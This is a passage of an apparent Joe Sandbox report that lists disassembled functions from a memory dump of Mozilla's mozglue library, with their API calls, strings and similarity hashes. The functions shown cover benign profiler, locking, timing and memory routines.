ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EDFC9
GetCurrentThreadId.KERNEL32 ref: 6C8EDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C8B4A68), ref: 6C8EDE7B

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

Part of subcall function 6C8DCBE8: GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
Part of subcall function 6C8DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C8B4A68), ref: 6C8EDEB8
free.MOZGLUE(00000000,?,6C8B4A68), ref: 6C8EDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C8EDF38

Strings

<none>, xrefs: 6C8EDFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C8EE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C8EDE83

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 7695e44ebadb0a6c35d7738fcfcc779504715789a83bc42ae1cb9b968ecaaca5
Instruction ID: eaad19dcba9ba13d498aa48571404fb585d5b6547a059f46fc84ec0fdc315076
Opcode Fuzzy Hash: 7695e44ebadb0a6c35d7738fcfcc779504715789a83bc42ae1cb9b968ecaaca5
Instruction Fuzzy Hash: 3E412D717156109BDB309F68D9087AE7775EF8B31CF240826E94597F01CB799809CBE1

Function 6C8FD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8FD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8FD918
GetCurrentThreadId.KERNEL32 ref: 6C8FD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8FD970
GetCurrentThreadId.KERNEL32 ref: 6C8FD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8FD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C8FDA2E
GetCurrentThreadId.KERNEL32 ref: 6C8FDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C8FDA91

Part of subcall function 6C8C5C50: GetTickCount64.KERNEL32 ref: 6C8C5D40
Part of subcall function 6C8C5C50: EnterCriticalSection.KERNEL32(6C92F688), ref: 6C8C5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8FDAB7

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: b04d7748da7cb42982818c67ef9274813a983ce41d35d65cb5af979adbabe622
Instruction ID: abec9c846862629a765b8b92318e7672dd844c7f46ec38e9d170c32811430022
Opcode Fuzzy Hash: b04d7748da7cb42982818c67ef9274813a983ce41d35d65cb5af979adbabe622
Instruction Fuzzy Hash: D871C071604304DFCB10CF28C484B9ABBF5FF89354F25896EE95A9B301DB34A945CBA1

Function 6C8FD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8FD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8FD52A
GetCurrentThreadId.KERNEL32 ref: 6C8FD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8FD55F
free.MOZGLUE(00000000), ref: 6C8FD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C8FD5D3
GetCurrentThreadId.KERNEL32 ref: 6C8FD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8FD652
GetCurrentThreadId.KERNEL32 ref: 6C8FD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8FD6A2

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: fc34670bd8e71dca1963b886acc81aefd95f1e30e1487deb3df193ce2128412c
Instruction ID: 13b820ebcfa1ae7059926d3679c26090fc3d7f0ce7c31682235713929c6384aa
Opcode Fuzzy Hash: fc34670bd8e71dca1963b886acc81aefd95f1e30e1487deb3df193ce2128412c
Instruction Fuzzy Hash: 54518C71608705DFC714CF34C584A9ABBF4FF89358F208A2EE99A87710DB34A849CB91

Function 6C8C5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C8C56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8C56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C8C56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C8C5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C8C57BC
GetTickCount64.KERNEL32 ref: 6C8C58CB
EnterCriticalSection.KERNEL32(6C92F688), ref: 6C8C58F3
__aulldiv.LIBCMT ref: 6C8C5945
LeaveCriticalSection.KERNEL32(6C92F688), ref: 6C8C59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C92F638,?,?,?,?), ref: 6C8C59E9

Strings

MOZ_APP_RESTART, xrefs: 6C8C56CC

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 3e099adbd6dc1513d2b8ea58b83cbb1a32846bd254ea268cc20928e241d98986
Instruction ID: d5725ef57156998e2c955b9f3fc60077035394fb93567ff82625472707aeb912
Opcode Fuzzy Hash: 3e099adbd6dc1513d2b8ea58b83cbb1a32846bd254ea268cc20928e241d98986
Instruction Fuzzy Hash: 98C18A31A1C3549FCB15CF28C540A6ABBF1FF9A718F158A1DE8C497620D734E889DB82

Function 6C8EEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EEC8C

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

GetCurrentThreadId.KERNEL32 ref: 6C8EECA1
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C8EECC5
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C8EED19
CloseHandle.KERNEL32(?), ref: 6C8EED28
free.MOZGLUE(00000000), ref: 6C8EED2F
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C8EEC94

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 196322ff246043ee0af5063ea011d3d81cfe048788515cf8d55f8547b86bcae1
Instruction ID: 00fa3144417ed84577bce8d3eff987252a0b751efe0c62b1692c5a2c4340edd4
Opcode Fuzzy Hash: 196322ff246043ee0af5063ea011d3d81cfe048788515cf8d55f8547b86bcae1
Instruction Fuzzy Hash: F9210771614118EBDB109F68D908A9A3779EB8B26DF204A20FC5957740DB79D8058BE1

Function 6C8B3A90 Relevance: 18.3, APIs: 12, Instructions: 295COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.KERNEL32 ref: 6C8B3BB4
ReleaseSRWLockShared.KERNEL32 ref: 6C8B3BD2
AcquireSRWLockExclusive.KERNEL32 ref: 6C8B3BE5
ReleaseSRWLockExclusive.KERNEL32 ref: 6C8B3C91
ReleaseSRWLockShared.KERNEL32 ref: 6C8B3CBD
moz_xmalloc.MOZGLUE ref: 6C8B3CF1

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$mallocmoz_xmalloc
String ID:
API String ID: 1881024734-0
Opcode ID: 01482637df1f0fa5f35bfbc874daa23c0045d987ec487cccba24e90d73a77650
Instruction ID: de4d330148c4f560c8f8ee67650277a7db9543190917979f5a51559df2d9bd34
Opcode Fuzzy Hash: 01482637df1f0fa5f35bfbc874daa23c0045d987ec487cccba24e90d73a77650
Instruction Fuzzy Hash: 8EC15FB1908705CFC724DF28C18465ABBF5BF89304F258A6ED8995BB15DB31E885CB82

Function 6C8E8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C8AEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8AEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C8EB392,?,?,00000001), ref: 6C8E91F4

Part of subcall function 6C8DCBE8: GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
Part of subcall function 6C8DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

Strings

marker-table, xrefs: 6C8E906C
timeline-overview, xrefs: 6C8E907A
stack-chart, xrefs: 6C8E90B2
marker-chart, xrefs: 6C8E905E
timeline-memory, xrefs: 6C8E9088
timeline-fileio, xrefs: 6C8E90A4
data, xrefs: 6C8E90E8
name, xrefs: 6C8E8F16
timeline-ipc, xrefs: 6C8E9096

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 29da678ed77f4d196c36ea408edf3d921e9e3bd22676bb23a4ed09cdd8361917
Instruction ID: ca255e141941a3501d5264a1f5bb5eaa68dba706be68fb01f82ef908d49c7a38
Opcode Fuzzy Hash: 29da678ed77f4d196c36ea408edf3d921e9e3bd22676bb23a4ed09cdd8361917
Instruction Fuzzy Hash: 48B1E3B1A042099BDF14CF98C692BEEBBB5BF8A318F104829D411ABF80D775D945CBD1

Function 6C8CC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8CC5A3
WideCharToMultiByte.KERNEL32 ref: 6C8CC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C8CC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C8CCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C8CCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8CCAA5

Strings

(null), xrefs: 6C8CC596
0, xrefs: 6C8CD30A

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 88c5c868202dd6a1ea26c2af47981b1d1b17558affc931c2b7183568f4943554
Instruction ID: ac09a8996007da1c1c0c7d3b6bc854369fef7064bdd8be63fdce2b56f51d1a94
Opcode Fuzzy Hash: 88c5c868202dd6a1ea26c2af47981b1d1b17558affc931c2b7183568f4943554
Instruction Fuzzy Hash: 35A18D307083419FDB20EF29C644B5ABBF1AF89748F148D2DE99997642D735E805CB93

Function 6C8CC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8CC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8CC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C8CC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C8CC891

Strings

nan, xrefs: 6C8CC7A8
NAN, xrefs: 6C8CC7AD
INF, xrefs: 6C8CC794
inf, xrefs: 6C8CC78F

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 4e33d7b1c7371f54ff9b83d7ef422b2796b44105aced6084f621674960acb6d6
Instruction ID: 23745208a672c19c07d11598582fd5d2dbebf3d790e3052af0f06031dac472f8
Opcode Fuzzy Hash: 4e33d7b1c7371f54ff9b83d7ef422b2796b44105aced6084f621674960acb6d6
Instruction Fuzzy Hash: 10517F716087448BDB10AF6CC68169BFBF0BF9A308F008E2DE9D5A7651E774D9858B43

Function 6C8EEB90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 66threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C8EEBAC

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

GetCurrentThreadId.KERNEL32 ref: 6C8EEBC1
AcquireSRWLockExclusive.KERNEL32(6C92F4B8,?,?,00000000), ref: 6C8EEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C8EEBE5
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8,00000000), ref: 6C8EEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C8EEC46
CloseHandle.KERNEL32(?), ref: 6C8EEC55
free.MOZGLUE(00000000), ref: 6C8EEC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C8EEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C8EEA9B

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectReleaseSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 4250961200-1186885292
Opcode ID: 36c803c3f321cc7af80d925bd1cc21d1af778edf6eba314307620f426bff1f16
Instruction ID: 98910529d69cb54e71d3d5ef15cf12861d001cb4f83674af416d7da2cbaf51dd
Opcode Fuzzy Hash: 36c803c3f321cc7af80d925bd1cc21d1af778edf6eba314307620f426bff1f16
Instruction Fuzzy Hash: 3811E771A14514ABCF206F64D908A9A77B8EF4A32CF204A20FD5A97740D779D8198BE1

Function 6C8A4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C8E4843,?), ref: 6C8A45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C8E4843,?), ref: 6C8A468A
free.MOZGLUE(?,?,?,?,?,?,6C8E4843,?), ref: 6C8A46C9
free.MOZGLUE(?), ref: 6C8A46EF
free.MOZGLUE(?), ref: 6C8A4712
free.MOZGLUE(?), ref: 6C8A4735
free.MOZGLUE(?), ref: 6C8A4758
free.MOZGLUE(?), ref: 6C8A477B
free.MOZGLUE(?), ref: 6C8A479E

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 040478fa1a1e29479dc57a0b4a6e237ea9b549a371665ef880e69ea0836327e5
Instruction ID: 6df4634f573468fde06079987e91583225822fadbb42b31d2d086d9700ee8a0a
Opcode Fuzzy Hash: 040478fa1a1e29479dc57a0b4a6e237ea9b549a371665ef880e69ea0836327e5
Instruction Fuzzy Hash: 1AB1E571A001548FDF288FACDAD076D76A1AFC2328F185A39E416DBB96DB31D8418B41

Function 6C90AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C90AC52
CreateFileMappingW.KERNEL32 ref: 6C90AC7D
GetSystemInfo.KERNEL32 ref: 6C90AC98
MapViewOfFile.KERNEL32 ref: 6C90ACB0
GetSystemInfo.KERNEL32 ref: 6C90ACCD
MapViewOfFile.KERNEL32 ref: 6C90AD05
UnmapViewOfFile.KERNEL32 ref: 6C90AD1C
CloseHandle.KERNEL32 ref: 6C90AD28
UnmapViewOfFile.KERNEL32 ref: 6C90AD37
CloseHandle.KERNEL32 ref: 6C90AD43
CloseHandle.KERNEL32 ref: 6C90AD67

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 21db2542fd0c38264146a380f4ebe6fa3e81c5eb37754dd8df9754a0a3160fca
Instruction ID: 0d84fd8bbc47b5b64e4030c7ddb966c1c47e784245265fb1cc40bb3a8299ceea
Opcode Fuzzy Hash: 21db2542fd0c38264146a380f4ebe6fa3e81c5eb37754dd8df9754a0a3160fca
Instruction Fuzzy Hash: 1C314FB1A097448FDB00AF7CD64926EBBF0BF85305F15492DE98697211EB749458CBC2

Function 6C8DF2B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C8DD9DB), ref: 6C8DF2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6C8DF2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6C8DF386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6C8DF347

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6C8DF3C8
free.MOZGLUE(00000000,00000000), ref: 6C8DF3F3
free.MOZGLUE(00000000,00000000), ref: 6C8DF3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6C8DF413

Strings

ntdll.dll, xrefs: 6C8DF2F0

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
